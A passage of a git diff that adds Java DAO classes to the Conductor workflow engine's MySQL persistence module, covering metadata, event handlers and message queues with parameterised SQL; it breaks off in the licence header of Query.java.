    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.mysql.dao; + +import java.sql.Connection; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Optional; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.Executors; +import java.util.concurrent.TimeUnit; + +import javax.sql.DataSource; + +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.common.metadata.events.EventHandler; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.core.exception.ConflictException; +import com.netflix.conductor.core.exception.NotFoundException; +import com.netflix.conductor.dao.EventHandlerDAO; +import com.netflix.conductor.dao.MetadataDAO; +import com.netflix.conductor.metrics.Monitors; +import com.netflix.conductor.mysql.config.MySQLProperties; + +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.base.Preconditions; + +public class MySQLMetadataDAO extends MySQLBaseDAO implements MetadataDAO, EventHandlerDAO { + + private final ConcurrentHashMap taskDefCache = new ConcurrentHashMap<>(); + private static final String CLASS_NAME = MySQLMetadataDAO.class.getSimpleName(); + + public MySQLMetadataDAO( + RetryTemplate retryTemplate, + ObjectMapper objectMapper, + DataSource dataSource, + MySQLProperties properties) { + super(retryTemplate, objectMapper, dataSource); + + long cacheRefreshTime = properties.getTaskDefCacheRefreshInterval().getSeconds(); + Executors.newSingleThreadScheduledExecutor() + .scheduleWithFixedDelay( + this::refreshTaskDefs, + cacheRefreshTime, + cacheRefreshTime, + TimeUnit.SECONDS); + } + + @Override + public TaskDef createTaskDef(TaskDef taskDef) { + validate(taskDef); + insertOrUpdateTaskDef(taskDef); + return taskDef; + } + + @Override + public TaskDef updateTaskDef(TaskDef taskDef) { + validate(taskDef); + insertOrUpdateTaskDef(taskDef); + return taskDef; + } + + @Override + public TaskDef getTaskDef(String name) { + Preconditions.checkNotNull(name, "TaskDef name cannot be null"); + TaskDef taskDef = taskDefCache.get(name); + if (taskDef == null) { + if (logger.isTraceEnabled()) { + logger.trace("Cache miss: {}", name); + } + taskDef = getTaskDefFromDB(name); + } + + return taskDef; + } + + @Override + public List getAllTaskDefs() { + return getWithRetriedTransactions(this::findAllTaskDefs); + } + + @Override + public void removeTaskDef(String name) { + final String DELETE_TASKDEF_QUERY = "DELETE FROM meta_task_def WHERE name = ?"; + + executeWithTransaction( + DELETE_TASKDEF_QUERY, + q -> { + if (!q.addParameter(name).executeDelete()) { + throw new NotFoundException("No such task definition"); + } + + taskDefCache.remove(name); + }); + } + + @Override + public void createWorkflowDef(WorkflowDef def) { + validate(def); + + withTransaction( + tx -> { + if (workflowExists(tx, def)) { + throw new ConflictException( + "Workflow with " + def.key() + " already exists!"); + } + + insertOrUpdateWorkflowDef(tx, def); + }); + } + + @Override + public void updateWorkflowDef(WorkflowDef def) { + validate(def); + withTransaction(tx -> insertOrUpdateWorkflowDef(tx, def)); + } + + @Override + public Optional getLatestWorkflowDef(String name) { + final String GET_LATEST_WORKFLOW_DEF_QUERY = + "SELECT json_data FROM meta_workflow_def WHERE NAME = ? AND " + + "version = latest_version"; + + return Optional.ofNullable( + queryWithTransaction( + GET_LATEST_WORKFLOW_DEF_QUERY, + q -> q.addParameter(name).executeAndFetchFirst(WorkflowDef.class))); + } + + @Override + public Optional getWorkflowDef(String name, int version) { + final String GET_WORKFLOW_DEF_QUERY = + "SELECT json_data FROM meta_workflow_def WHERE NAME = ? AND version = ?"; + return Optional.ofNullable( + queryWithTransaction( + GET_WORKFLOW_DEF_QUERY, + q -> + q.addParameter(name) + .addParameter(version) + .executeAndFetchFirst(WorkflowDef.class))); + } + + @Override + public void removeWorkflowDef(String name, Integer version) { + final String DELETE_WORKFLOW_QUERY = + "DELETE from meta_workflow_def WHERE name = ? AND version = ?"; + + withTransaction( + tx -> { + // remove specified workflow + execute( + tx, + DELETE_WORKFLOW_QUERY, + q -> { + if (!q.addParameter(name).addParameter(version).executeDelete()) { + throw new NotFoundException( + String.format( + "No such workflow definition: %s version: %d", + name, version)); + } + }); + // reset latest version based on remaining rows for this workflow + Optional maxVersion = getLatestVersion(tx, name); + maxVersion.ifPresent(newVersion -> updateLatestVersion(tx, name, newVersion)); + }); + } + + public List findAll() { + final String FIND_ALL_WORKFLOW_DEF_QUERY = "SELECT DISTINCT name FROM meta_workflow_def"; + return queryWithTransaction( + FIND_ALL_WORKFLOW_DEF_QUERY, q -> q.executeAndFetch(String.class)); + } + + @Override + public List getAllWorkflowDefs() { + final String GET_ALL_WORKFLOW_DEF_QUERY = + "SELECT json_data FROM meta_workflow_def ORDER BY name, version"; + + return queryWithTransaction( + GET_ALL_WORKFLOW_DEF_QUERY, q -> q.executeAndFetch(WorkflowDef.class)); + } + + @Override + public List getAllWorkflowDefsLatestVersions() { + final String GET_ALL_WORKFLOW_DEF_LATEST_VERSIONS_QUERY = + "SELECT json_data FROM meta_workflow_def wd WHERE wd.version = (SELECT MAX(version) FROM meta_workflow_def wd2 WHERE wd2.name = wd.name)"; + return queryWithTransaction( + GET_ALL_WORKFLOW_DEF_LATEST_VERSIONS_QUERY, + q -> q.executeAndFetch(WorkflowDef.class)); + } + + public List getAllLatest() { + final String GET_ALL_LATEST_WORKFLOW_DEF_QUERY = + "SELECT json_data FROM meta_workflow_def WHERE version = " + "latest_version"; + + return queryWithTransaction( + GET_ALL_LATEST_WORKFLOW_DEF_QUERY, q -> q.executeAndFetch(WorkflowDef.class)); + } + + public List getAllVersions(String name) { + final String GET_ALL_VERSIONS_WORKFLOW_DEF_QUERY = + "SELECT json_data FROM meta_workflow_def WHERE name = ? " + "ORDER BY version"; + + return queryWithTransaction( + GET_ALL_VERSIONS_WORKFLOW_DEF_QUERY, + q -> q.addParameter(name).executeAndFetch(WorkflowDef.class)); + } + + @Override + public void addEventHandler(EventHandler eventHandler) { + Preconditions.checkNotNull(eventHandler.getName(), "EventHandler name cannot be null"); + + final String INSERT_EVENT_HANDLER_QUERY = + "INSERT INTO meta_event_handler (name, event, active, json_data) " + + "VALUES (?, ?, ?, ?)"; + + withTransaction( + tx -> { + if (getEventHandler(tx, eventHandler.getName()) != null) { + throw new ConflictException( + "EventHandler with name " + + eventHandler.getName() + + " already exists!"); + } + + execute( + tx, + INSERT_EVENT_HANDLER_QUERY, + q -> + q.addParameter(eventHandler.getName()) + .addParameter(eventHandler.getEvent()) + .addParameter(eventHandler.isActive()) + .addJsonParameter(eventHandler) + .executeUpdate()); + }); + } + + @Override + public void updateEventHandler(EventHandler eventHandler) { + Preconditions.checkNotNull(eventHandler.getName(), "EventHandler name cannot be null"); + + // @formatter:off + final String UPDATE_EVENT_HANDLER_QUERY = + "UPDATE meta_event_handler SET " + + "event = ?, active = ?, json_data = ?, " + + "modified_on = CURRENT_TIMESTAMP WHERE name = ?"; + // @formatter:on + + withTransaction( + tx -> { + EventHandler existing = getEventHandler(tx, eventHandler.getName()); + if (existing == null) { + throw new NotFoundException( + "EventHandler with name " + eventHandler.getName() + " not found!"); + } + + execute( + tx, + UPDATE_EVENT_HANDLER_QUERY, + q -> + q.addParameter(eventHandler.getEvent()) + .addParameter(eventHandler.isActive()) + .addJsonParameter(eventHandler) + .addParameter(eventHandler.getName()) + .executeUpdate()); + }); + } + + @Override + public void removeEventHandler(String name) { + final String DELETE_EVENT_HANDLER_QUERY = "DELETE FROM meta_event_handler WHERE name = ?"; + + withTransaction( + tx -> { + EventHandler existing = getEventHandler(tx, name); + if (existing == null) { + throw new NotFoundException( + "EventHandler with name " + name + " not found!"); + } + + execute( + tx, + DELETE_EVENT_HANDLER_QUERY, + q -> q.addParameter(name).executeDelete()); + }); + } + + @Override + public List getAllEventHandlers() { + final String READ_ALL_EVENT_HANDLER_QUERY = "SELECT json_data FROM meta_event_handler"; + return queryWithTransaction( + READ_ALL_EVENT_HANDLER_QUERY, q -> q.executeAndFetch(EventHandler.class)); + } + + @Override + public List getEventHandlersForEvent(String event, boolean activeOnly) { + final String READ_ALL_EVENT_HANDLER_BY_EVENT_QUERY = + "SELECT json_data FROM meta_event_handler WHERE event = ?"; + return queryWithTransaction( + READ_ALL_EVENT_HANDLER_BY_EVENT_QUERY, + q -> { + q.addParameter(event); + return q.executeAndFetch( + rs -> { + List handlers = new ArrayList<>(); + while (rs.next()) { + EventHandler h = readValue(rs.getString(1), EventHandler.class); + if (!activeOnly || h.isActive()) { + handlers.add(h); + } + } + + return handlers; + }); + }); + } + + /** + * Use {@link Preconditions} to check for required {@link TaskDef} fields, throwing a Runtime + * exception if validations fail. + * + * @param taskDef The {@code TaskDef} to check. + */ + private void validate(TaskDef taskDef) { + Preconditions.checkNotNull(taskDef, "TaskDef object cannot be null"); + Preconditions.checkNotNull(taskDef.getName(), "TaskDef name cannot be null"); + } + + /** + * Use {@link Preconditions} to check for required {@link WorkflowDef} fields, throwing a + * Runtime exception if validations fail. + * + * @param def The {@code WorkflowDef} to check. + */ + private void validate(WorkflowDef def) { + Preconditions.checkNotNull(def, "WorkflowDef object cannot be null"); + Preconditions.checkNotNull(def.getName(), "WorkflowDef name cannot be null"); + } + + /** + * Retrieve a {@link EventHandler} by {@literal name}. + * + * @param connection The {@link Connection} to use for queries. + * @param name The {@code EventHandler} name to look for. + * @return {@literal null} if nothing is found, otherwise the {@code EventHandler}. + */ + private EventHandler getEventHandler(Connection connection, String name) { + final String READ_ONE_EVENT_HANDLER_QUERY = + "SELECT json_data FROM meta_event_handler WHERE name = ?"; + + return query( + connection, + READ_ONE_EVENT_HANDLER_QUERY, + q -> q.addParameter(name).executeAndFetchFirst(EventHandler.class)); + } + + /** + * Check if a {@link WorkflowDef} with the same {@literal name} and {@literal version} already + * exist. + * + * @param connection The {@link Connection} to use for queries. + * @param def The {@code WorkflowDef} to check for. + * @return {@literal true} if a {@code WorkflowDef} already exists with the same values. + */ + private Boolean workflowExists(Connection connection, WorkflowDef def) { + final String CHECK_WORKFLOW_DEF_EXISTS_QUERY = + "SELECT COUNT(*) FROM meta_workflow_def WHERE name = ? AND " + "version = ?"; + + return query( + connection, + CHECK_WORKFLOW_DEF_EXISTS_QUERY, + q -> q.addParameter(def.getName()).addParameter(def.getVersion()).exists()); + } + + /** + * Return the latest version that exists for the provided {@code name}. + * + * @param tx The {@link Connection} to use for queries. + * @param name The {@code name} to check for. + * @return {@code Optional.empty()} if no versions exist, otherwise the max {@link + * WorkflowDef#getVersion} found. + */ + private Optional getLatestVersion(Connection tx, String name) { + final String GET_LATEST_WORKFLOW_DEF_VERSION = + "SELECT max(version) AS version FROM meta_workflow_def WHERE " + "name = ?"; + + Integer val = + query( + tx, + GET_LATEST_WORKFLOW_DEF_VERSION, + q -> { + q.addParameter(name); + return q.executeAndFetch( + rs -> { + if (!rs.next()) { + return null; + } + + return rs.getInt(1); + }); + }); + + return Optional.ofNullable(val); + } + + /** + * Update the latest version for the workflow with name {@code WorkflowDef} to the version + * provided in {@literal version}. + * + * @param tx The {@link Connection} to use for queries. + * @param name Workflow def name to update + * @param version The new latest {@code version} value. + */ + private void updateLatestVersion(Connection tx, String name, int version) { + final String UPDATE_WORKFLOW_DEF_LATEST_VERSION_QUERY = + "UPDATE meta_workflow_def SET latest_version = ? " + "WHERE name = ?"; + + execute( + tx, + UPDATE_WORKFLOW_DEF_LATEST_VERSION_QUERY, + q -> q.addParameter(version).addParameter(name).executeUpdate()); + } + + private void insertOrUpdateWorkflowDef(Connection tx, WorkflowDef def) { + final String INSERT_WORKFLOW_DEF_QUERY = + "INSERT INTO meta_workflow_def (name, version, json_data) VALUES (?," + " ?, ?)"; + + Optional version = getLatestVersion(tx, def.getName()); + if (!workflowExists(tx, def)) { + execute( + tx, + INSERT_WORKFLOW_DEF_QUERY, + q -> + q.addParameter(def.getName()) + .addParameter(def.getVersion()) + .addJsonParameter(def) + .executeUpdate()); + } else { + // @formatter:off + final String UPDATE_WORKFLOW_DEF_QUERY = + "UPDATE meta_workflow_def " + + "SET json_data = ?, modified_on = CURRENT_TIMESTAMP " + + "WHERE name = ? AND version = ?"; + // @formatter:on + + execute( + tx, + UPDATE_WORKFLOW_DEF_QUERY, + q -> + q.addJsonParameter(def) + .addParameter(def.getName()) + .addParameter(def.getVersion()) + .executeUpdate()); + } + int maxVersion = def.getVersion(); + if (version.isPresent() && version.get() > def.getVersion()) { + maxVersion = version.get(); + } + + updateLatestVersion(tx, def.getName(), maxVersion); + } + + /** + * Query persistence for all defined {@link TaskDef} data, and cache it in {@link + * #taskDefCache}. + */ + private void refreshTaskDefs() { + try { + withTransaction( + tx -> { + Map map = new HashMap<>(); + findAllTaskDefs(tx).forEach(taskDef -> map.put(taskDef.getName(), taskDef)); + + synchronized (taskDefCache) { + taskDefCache.clear(); + taskDefCache.putAll(map); + } + + if (logger.isTraceEnabled()) { + logger.trace("Refreshed {} TaskDefs", taskDefCache.size()); + } + }); + } catch (Exception e) { + Monitors.error(CLASS_NAME, "refreshTaskDefs"); + logger.error("refresh TaskDefs failed ", e); + } + } + + /** + * Query persistence for all defined {@link TaskDef} data. + * + * @param tx The {@link Connection} to use for queries. + * @return A new {@code List} with all the {@code TaskDef} data that was retrieved. + */ + private List findAllTaskDefs(Connection tx) { + final String READ_ALL_TASKDEF_QUERY = "SELECT json_data FROM meta_task_def"; + + return query(tx, READ_ALL_TASKDEF_QUERY, q -> q.executeAndFetch(TaskDef.class)); + } + + /** + * Explicitly retrieves a {@link TaskDef} from persistence, avoiding {@link #taskDefCache}. + * + * @param name The name of the {@code TaskDef} to query for. + * @return {@literal null} if nothing is found, otherwise the {@code TaskDef}. + */ + private TaskDef getTaskDefFromDB(String name) { + final String READ_ONE_TASKDEF_QUERY = "SELECT json_data FROM meta_task_def WHERE name = ?"; + + return queryWithTransaction( + READ_ONE_TASKDEF_QUERY, + q -> q.addParameter(name).executeAndFetchFirst(TaskDef.class)); + } + + private String insertOrUpdateTaskDef(TaskDef taskDef) { + final String UPDATE_TASKDEF_QUERY = + "UPDATE meta_task_def SET json_data = ?, modified_on = CURRENT_TIMESTAMP WHERE name = ?"; + + final String INSERT_TASKDEF_QUERY = + "INSERT INTO meta_task_def (name, json_data) VALUES (?, ?)"; + + return getWithRetriedTransactions( + tx -> { + execute( + tx, + UPDATE_TASKDEF_QUERY, + update -> { + int result = + update.addJsonParameter(taskDef) + .addParameter(taskDef.getName()) + .executeUpdate(); + if (result == 0) { + execute( + tx, + INSERT_TASKDEF_QUERY, + insert -> + insert.addParameter(taskDef.getName()) + .addJsonParameter(taskDef) + .executeUpdate()); + } + }); + + taskDefCache.put(taskDef.getName(), taskDef); + return taskDef.getName(); + }); + } +} diff --git a/mysql-persistence/src/main/java/com/netflix/conductor/mysql/dao/MySQLQueueDAO.java b/mysql-persistence/src/main/java/com/netflix/conductor/mysql/dao/MySQLQueueDAO.java new file mode 100644 index 0000000..e5e81de --- /dev/null +++ b/mysql-persistence/src/main/java/com/netflix/conductor/mysql/dao/MySQLQueueDAO.java @@ -0,0 +1,428 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.mysql.dao; + +import java.sql.Connection; +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; +import java.util.Map; +import java.util.concurrent.Executors; +import java.util.concurrent.TimeUnit; +import java.util.stream.Collectors; + +import javax.sql.DataSource; + +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.core.events.queue.Message; +import com.netflix.conductor.dao.QueueDAO; +import com.netflix.conductor.mysql.util.Query; + +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.collect.ImmutableMap; +import com.google.common.collect.Maps; +import com.google.common.util.concurrent.Uninterruptibles; + +public class MySQLQueueDAO extends MySQLBaseDAO implements QueueDAO { + + private static final Long UNACK_SCHEDULE_MS = 60_000L; + + public MySQLQueueDAO( + RetryTemplate retryTemplate, ObjectMapper objectMapper, DataSource dataSource) { + super(retryTemplate, objectMapper, dataSource); + + Executors.newSingleThreadScheduledExecutor() + .scheduleAtFixedRate( + this::processAllUnacks, + UNACK_SCHEDULE_MS, + UNACK_SCHEDULE_MS, + TimeUnit.MILLISECONDS); + logger.debug(MySQLQueueDAO.class.getName() + " is ready to serve"); + } + + @Override + public void push(String queueName, String messageId, long offsetTimeInSecond) { + push(queueName, messageId, 0, offsetTimeInSecond); + } + + @Override + public void push(String queueName, String messageId, int priority, long offsetTimeInSecond) { + withTransaction( + tx -> pushMessage(tx, queueName, messageId, null, priority, offsetTimeInSecond)); + } + + @Override + public void push(String queueName, List messages) { + withTransaction( + tx -> + messages.forEach( + message -> + pushMessage( + tx, + queueName, + message.getId(), + message.getPayload(), + message.getPriority(), + 0))); + } + + @Override + public boolean pushIfNotExists(String queueName, String messageId, long offsetTimeInSecond) { + return pushIfNotExists(queueName, messageId, 0, offsetTimeInSecond); + } + + @Override + public boolean pushIfNotExists( + String queueName, String messageId, int priority, long offsetTimeInSecond) { + return getWithRetriedTransactions( + tx -> { + if (!existsMessage(tx, queueName, messageId)) { + pushMessage(tx, queueName, messageId, null, priority, offsetTimeInSecond); + return true; + } + return false; + }); + } + + @Override + public List peekFirstIds(String queueName, int count) { + final String SQL = + "SELECT message_id FROM queue_message " + + "WHERE queue_name = ? AND popped = false " + + "ORDER BY deliver_on, priority DESC, created_on LIMIT ?"; + return queryWithTransaction( + SQL, + q -> q.addParameter(queueName).addParameter(count).executeScalarList(String.class)); + } + + @Override + public List pop(String queueName, int count, int timeout) { + List messages = + getWithTransactionWithOutErrorPropagation( + tx -> popMessages(tx, queueName, count, timeout)); + if (messages == null) { + return new ArrayList<>(); + } + return messages.stream().map(Message::getId).collect(Collectors.toList()); + } + + @Override + public List pollMessages(String queueName, int count, int timeout) { + List messages = + getWithTransactionWithOutErrorPropagation( + tx -> popMessages(tx, queueName, count, timeout)); + if (messages == null) { + return new ArrayList<>(); + } + return messages; + } + + @Override + public void remove(String queueName, String messageId) { + withTransaction(tx -> removeMessage(tx, queueName, messageId)); + } + + @Override + public int getSize(String queueName) { + final String GET_QUEUE_SIZE = "SELECT COUNT(*) FROM queue_message WHERE queue_name = ?"; + return queryWithTransaction( + GET_QUEUE_SIZE, q -> ((Long) q.addParameter(queueName).executeCount()).intValue()); + } + + @Override + public boolean ack(String queueName, String messageId) { + return getWithRetriedTransactions(tx -> removeMessage(tx, queueName, messageId)); + } + + @Override + public boolean setUnackTimeout(String queueName, String messageId, long unackTimeout) { + long updatedOffsetTimeInSecond = unackTimeout / 1000; + + final String UPDATE_UNACK_TIMEOUT = + "UPDATE queue_message SET offset_time_seconds = ?, deliver_on = TIMESTAMPADD(SECOND, ?, CURRENT_TIMESTAMP) WHERE queue_name = ? AND message_id = ?"; + + return queryWithTransaction( + UPDATE_UNACK_TIMEOUT, + q -> + q.addParameter(updatedOffsetTimeInSecond) + .addParameter(updatedOffsetTimeInSecond) + .addParameter(queueName) + .addParameter(messageId) + .executeUpdate()) + == 1; + } + + @Override + public boolean setUnackTimeoutIfShorter(String queueName, String messageId, long unackTimeout) { + long updatedOffsetTimeInSecond = unackTimeout / 1000; + + // Only update when the proposed deliver_on is earlier than what is already set, + // mirroring the ZADD LT semantics used by the Redis implementation. + final String UPDATE_UNACK_TIMEOUT_IF_SHORTER = + "UPDATE queue_message SET offset_time_seconds = ?, deliver_on = TIMESTAMPADD(SECOND, ?, CURRENT_TIMESTAMP)" + + " WHERE queue_name = ? AND message_id = ? AND deliver_on > TIMESTAMPADD(SECOND, ?, CURRENT_TIMESTAMP)"; + + return queryWithTransaction( + UPDATE_UNACK_TIMEOUT_IF_SHORTER, + q -> + q.addParameter(updatedOffsetTimeInSecond) + .addParameter(updatedOffsetTimeInSecond) + .addParameter(queueName) + .addParameter(messageId) + .addParameter(updatedOffsetTimeInSecond) + .executeUpdate()) + == 1; + } + + @Override + public void flush(String queueName) { + final String FLUSH_QUEUE = "DELETE FROM queue_message WHERE queue_name = ?"; + executeWithTransaction(FLUSH_QUEUE, q -> q.addParameter(queueName).executeDelete()); + } + + @Override + public Map queuesDetail() { + final String GET_QUEUES_DETAIL = + "SELECT queue_name, (SELECT count(*) FROM queue_message WHERE popped = false AND queue_name = q.queue_name) AS size FROM queue q"; + return queryWithTransaction( + GET_QUEUES_DETAIL, + q -> + q.executeAndFetch( + rs -> { + Map detail = Maps.newHashMap(); + while (rs.next()) { + String queueName = rs.getString("queue_name"); + Long size = rs.getLong("size"); + detail.put(queueName, size); + } + return detail; + })); + } + + @Override + public Map>> queuesDetailVerbose() { + // @formatter:off + final String GET_QUEUES_DETAIL_VERBOSE = + "SELECT queue_name, \n" + + " (SELECT count(*) FROM queue_message WHERE popped = false AND queue_name = q.queue_name) AS size,\n" + + " (SELECT count(*) FROM queue_message WHERE popped = true AND queue_name = q.queue_name) AS uacked \n" + + "FROM queue q"; + // @formatter:on + + return queryWithTransaction( + GET_QUEUES_DETAIL_VERBOSE, + q -> + q.executeAndFetch( + rs -> { + Map>> result = + Maps.newHashMap(); + while (rs.next()) { + String queueName = rs.getString("queue_name"); + Long size = rs.getLong("size"); + Long queueUnacked = rs.getLong("uacked"); + result.put( + queueName, + ImmutableMap.of( + "a", + ImmutableMap + .of( // sharding not implemented, + // returning only + // one shard with all the + // info + "size", + size, + "uacked", + queueUnacked))); + } + return result; + })); + } + + /** + * Un-pop all un-acknowledged messages for all queues. + * + * @since 1.11.6 + */ + public void processAllUnacks() { + + logger.trace("processAllUnacks started"); + + final String PROCESS_ALL_UNACKS = + "UPDATE queue_message SET popped = false WHERE popped = true AND TIMESTAMPADD(SECOND,-60,CURRENT_TIMESTAMP) > deliver_on"; + executeWithTransaction(PROCESS_ALL_UNACKS, Query::executeUpdate); + } + + @Override + public void processUnacks(String queueName) { + final String PROCESS_UNACKS = + "UPDATE queue_message SET popped = false WHERE queue_name = ? AND popped = true AND TIMESTAMPADD(SECOND,-60,CURRENT_TIMESTAMP) > deliver_on"; + executeWithTransaction(PROCESS_UNACKS, q -> q.addParameter(queueName).executeUpdate()); + } + + @Override + public boolean resetOffsetTime(String queueName, String messageId) { + long offsetTimeInSecond = 0; // Reset to 0 + final String SET_OFFSET_TIME = + "UPDATE queue_message SET offset_time_seconds = ?, deliver_on = TIMESTAMPADD(SECOND,?,CURRENT_TIMESTAMP) \n" + + "WHERE queue_name = ? AND message_id = ?"; + + return queryWithTransaction( + SET_OFFSET_TIME, + q -> + q.addParameter(offsetTimeInSecond) + .addParameter(offsetTimeInSecond) + .addParameter(queueName) + .addParameter(messageId) + .executeUpdate() + == 1); + } + + private boolean existsMessage(Connection connection, String queueName, String messageId) { + final String EXISTS_MESSAGE = + "SELECT EXISTS(SELECT 1 FROM queue_message WHERE queue_name = ? AND message_id = ?)"; + return query( + connection, + EXISTS_MESSAGE, + q -> q.addParameter(queueName).addParameter(messageId).exists()); + } + + private void pushMessage( + Connection connection, + String queueName, + String messageId, + String payload, + Integer priority, + long offsetTimeInSecond) { + + createQueueIfNotExists(connection, queueName); + + String UPDATE_MESSAGE = + "UPDATE queue_message SET payload=?, deliver_on=TIMESTAMPADD(SECOND,?,CURRENT_TIMESTAMP) WHERE queue_name = ? AND message_id = ?"; + int rowsUpdated = + query( + connection, + UPDATE_MESSAGE, + q -> + q.addParameter(payload) + .addParameter(offsetTimeInSecond) + .addParameter(queueName) + .addParameter(messageId) + .executeUpdate()); + + if (rowsUpdated == 0) { + String PUSH_MESSAGE = + "INSERT INTO queue_message (deliver_on, queue_name, message_id, priority, offset_time_seconds, payload) VALUES (TIMESTAMPADD(SECOND,?,CURRENT_TIMESTAMP), ?, ?,?,?,?) ON DUPLICATE KEY UPDATE payload=VALUES(payload), deliver_on=VALUES(deliver_on)"; + execute( + connection, + PUSH_MESSAGE, + q -> + q.addParameter(offsetTimeInSecond) + .addParameter(queueName) + .addParameter(messageId) + .addParameter(priority) + .addParameter(offsetTimeInSecond) + .addParameter(payload) + .executeUpdate()); + } + } + + private boolean removeMessage(Connection connection, String queueName, String messageId) { + final String REMOVE_MESSAGE = + "DELETE FROM queue_message WHERE queue_name = ? AND message_id = ?"; + return query( + connection, + REMOVE_MESSAGE, + q -> q.addParameter(queueName).addParameter(messageId).executeDelete()); + } + + private List peekMessages(Connection connection, String queueName, int count) { + if (count < 1) { + return Collections.emptyList(); + } + + final String PEEK_MESSAGES = + "SELECT message_id, priority, payload FROM queue_message use index(combo_queue_message) WHERE queue_name = ? AND popped = false AND deliver_on <= TIMESTAMPADD(MICROSECOND, 1000, CURRENT_TIMESTAMP) ORDER BY priority DESC, deliver_on, created_on LIMIT ?"; + + return query( + connection, + PEEK_MESSAGES, + p -> + p.addParameter(queueName) + .addParameter(count) + .executeAndFetch( + rs -> { + List results = new ArrayList<>(); + while (rs.next()) { + Message m = new Message(); + m.setId(rs.getString("message_id")); + m.setPriority(rs.getInt("priority")); + m.setPayload(rs.getString("payload")); + results.add(m); + } + return results; + })); + } + + private List popMessages( + Connection connection, String queueName, int count, int timeout) { + long start = System.currentTimeMillis(); + List messages = peekMessages(connection, queueName, count); + + while (messages.size() < count && ((System.currentTimeMillis() - start) < timeout)) { + Uninterruptibles.sleepUninterruptibly(200, TimeUnit.MILLISECONDS); + messages = peekMessages(connection, queueName, count); + } + + if (messages.isEmpty()) { + return messages; + } + + List poppedMessages = new ArrayList<>(); + for (Message message : messages) { + final String POP_MESSAGE = + "UPDATE queue_message SET popped = true WHERE queue_name = ? AND message_id = ? AND popped = false"; + int result = + query( + connection, + POP_MESSAGE, + q -> + q.addParameter(queueName) + .addParameter(message.getId()) + .executeUpdate()); + + if (result == 1) { + poppedMessages.add(message); + } + } + return poppedMessages; + } + + private void createQueueIfNotExists(Connection connection, String queueName) { + logger.trace("Creating new queue '{}'", queueName); + final String EXISTS_QUEUE = "SELECT EXISTS(SELECT 1 FROM queue WHERE queue_name = ?)"; + boolean exists = query(connection, EXISTS_QUEUE, q -> q.addParameter(queueName).exists()); + if (!exists) { + final String CREATE_QUEUE = "INSERT IGNORE INTO queue (queue_name) VALUES (?)"; + execute(connection, CREATE_QUEUE, q -> q.addParameter(queueName).executeUpdate()); + } + } + + @Override + public boolean containsMessage(String queueName, String messageId) { + final String EXISTS_QUEUE = + "SELECT EXISTS(SELECT 1 FROM queue_message WHERE queue_name = ? AND message_id = ? )"; + return queryWithTransaction( + EXISTS_QUEUE, q -> q.addParameter(queueName).addParameter(messageId).exists()); + } +} diff --git a/mysql-persistence/src/main/java/com/netflix/conductor/mysql/util/ExecuteFunction.java b/mysql-persistence/src/main/java/com/netflix/conductor/mysql/util/ExecuteFunction.java new file mode 100644 index 0000000..91a4138 --- /dev/null +++ b/mysql-persistence/src/main/java/com/netflix/conductor/mysql/util/ExecuteFunction.java @@ -0,0 +1,26 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.mysql.util; + +import java.sql.SQLException; + +/** + * Functional interface for {@link Query} executions with no expected result. + * + * @author mustafa + */ +@FunctionalInterface +public interface ExecuteFunction { + + void apply(Query query) throws SQLException; +} diff --git a/mysql-persistence/src/main/java/com/netflix/conductor/mysql/util/LazyToString.java b/mysql-persistence/src/main/java/com/netflix/conductor/mysql/util/LazyToString.java new file mode 100644 index 0000000..5f39db4 --- /dev/null +++ b/mysql-persistence/src/main/java/com/netflix/conductor/mysql/util/LazyToString.java @@ -0,0 +1,33 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.mysql.util; + +import java.util.function.Supplier; + +/** Functional class to support the lazy execution of a String result. */ +public class LazyToString { + + private final Supplier supplier; + + /** + * @param supplier Supplier to execute when {@link #toString()} is called. + */ + public LazyToString(Supplier supplier) { + this.supplier = supplier; + } + + @Override + public String toString() { + return supplier.get(); + } +} diff --git a/mysql-persistence/src/main/java/com/netflix/conductor/mysql/util/Query.java b/mysql-persistence/src/main/java/com/netflix/conductor/mysql/util/Query.java new file mode 100644 index 0000000..4e4dc6d --- /dev/null +++ b/mysql-persistence/src/main/java/com/netflix/conductor/mysql/util/Query.java @@ -0,0 +1,628 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

